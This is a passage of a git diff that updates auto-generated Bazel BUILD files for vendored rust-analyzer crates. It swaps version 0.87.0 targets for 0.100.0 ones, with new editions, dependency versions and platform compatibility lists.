+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.87.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.87.0.bazel
deleted file mode 100644
index ec5390efd1d0..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.87.0.bazel
+++ /dev/null
@@ -1,88 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_proc_macro(
-    name = "ra_ap_rustc_index_macros",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra-ap-rustc_index_macros",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.87.0",
-    deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.100.0.bazel
new file mode 100644
index 000000000000..7c98b84f7fb6
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.100.0.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_rustc_lexer",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra-ap-rustc_lexer",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__memchr-2.7.4//:memchr",
+        "@vendor_ts__unicode-properties-0.1.3//:unicode_properties",
+        "@vendor_ts__unicode-xid-0.2.6//:unicode_xid",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.87.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.87.0.bazel
deleted file mode 100644
index e6f63b6889ee..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.87.0.bazel
+++ /dev/null
@@ -1,87 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_rustc_lexer",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra-ap-rustc_lexer",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.87.0",
-    deps = [
-        "@vendor__unicode-properties-0.1.3//:unicode_properties",
-        "@vendor__unicode-xid-0.2.6//:unicode_xid",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.100.0.bazel
new file mode 100644
index 000000000000..0cf50f5a2b8a
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.100.0.bazel
@@ -0,0 +1,91 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_rustc_parse_format",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index": "rustc_index",
+        "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer": "rustc_lexer",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra-ap-rustc_parse_format",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index",
+        "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.87.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.87.0.bazel
deleted file mode 100644
index eff127696b17..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.87.0.bazel
+++ /dev/null
@@ -1,91 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_rustc_parse_format",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra-ap-rustc_index-0.87.0//:ra_ap_rustc_index": "rustc_index",
-        "@vendor__ra-ap-rustc_lexer-0.87.0//:ra_ap_rustc_lexer": "rustc_lexer",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra-ap-rustc_parse_format",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.87.0",
-    deps = [
-        "@vendor__ra-ap-rustc_index-0.87.0//:ra_ap_rustc_index",
-        "@vendor__ra-ap-rustc_lexer-0.87.0//:ra_ap_rustc_lexer",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel
new file mode 100644
index 000000000000..dcdff444d8f5
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel
@@ -0,0 +1,93 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_rustc_pattern_analysis",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index": "rustc_index",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra-ap-rustc_pattern_analysis",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.87.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.87.0.bazel
deleted file mode 100644
index 5d27526cf686..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.87.0.bazel
+++ /dev/null
@@ -1,93 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_rustc_pattern_analysis",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra-ap-rustc_index-0.87.0//:ra_ap_rustc_index": "rustc_index",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra-ap-rustc_pattern_analysis",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.87.0",
-    deps = [
-        "@vendor__ra-ap-rustc_index-0.87.0//:ra_ap_rustc_index",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
